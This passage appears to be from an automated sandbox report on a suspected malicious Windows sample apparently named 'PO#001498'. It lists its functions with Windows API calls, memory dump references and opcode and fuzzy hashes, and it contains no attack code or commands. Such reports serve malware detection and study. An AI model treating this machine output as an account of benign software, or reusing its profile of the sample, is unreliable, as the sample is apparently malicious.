                                                                                                                                                                                • Opcode Fuzzy Hash: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                                                                                                                                                                                • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                                                                                                                Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                                • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                                • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4189319755-0
                                                                                                                                                                                • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                                • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                                                                                                                • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                                • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                                                                                                                Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                                                                                                                                • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                                                                                                                                • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1726766782-0
                                                                                                                                                                                • Opcode ID: 3a1f833abb26ce593740c71d471a220e6d34013d7717cf1b73c6152b0bb325a5
                                                                                                                                                                                • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                                                                                                                                • Opcode Fuzzy Hash: 3a1f833abb26ce593740c71d471a220e6d34013d7717cf1b73c6152b0bb325a5
                                                                                                                                                                                • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                                                                                                                                Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                                                                                                                • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                                                                                                                • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                                                                                                                • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                                                                                                                • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                                                                                                                • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Show$Enable$MessageSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 642888154-0
                                                                                                                                                                                • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                                • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                                                                                                                • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                                • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                                                                                                                Function 00449063 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                                                                                                                • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                                                                                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                                                                                                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$LongWindow$InvalidateRect
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1976402638-0
                                                                                                                                                                                • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                                • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                                                                                                                • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                                • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                                                                                                                Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetForegroundWindow.USER32 ref: 00442597
                                                                                                                                                                                  • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 004425BF
                                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                                                                                                                • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                                                                                                                  • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00442624
                                                                                                                                                                                • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4137160315-0
                                                                                                                                                                                • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                                • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                                                                                                                • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                                • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                                                                                                                Function 00448851 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Enable$Show$MessageSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1871949834-0
                                                                                                                                                                                • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                                • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                                                                                                                                • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                                • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                                                                                                                                Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 0044961A
                                                                                                                                                                                • SendMessageW.USER32 ref: 0044964A
                                                                                                                                                                                  • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                                • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                                                                                                                                • _wcslen.LIBCMT ref: 004496BA
                                                                                                                                                                                • _wcslen.LIBCMT ref: 004496C7
                                                                                                                                                                                • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1624073603-0
                                                                                                                                                                                • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                                • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                                                                                                                                • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                                • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                                                                                                                                Function 004416D1 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                                • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                                                                                                                                • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                                • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                                                                                                                                Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DestroyWindow$DeleteObject$IconMove
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1640429340-0
                                                                                                                                                                                • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                                • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                                                                                                                                • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                                • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                                                                                                                                Function 00467E5E Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __fileno__setmode$DebugOutputString_fprintf
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3354276064-0
                                                                                                                                                                                • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                                • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                                                                                                                                                                                • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                                • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                                                                                                                                                                                Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 752480666-0
                                                                                                                                                                                • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                                • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                                                                                                                                • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                                • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                                                                                                                                Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3275902921-0
                                                                                                                                                                                • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                                • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                                                                                                                                • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                                • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                                                                                                                                Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                                                                                                                • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                                                                                                                • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                                                                                                                • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1413079979-0
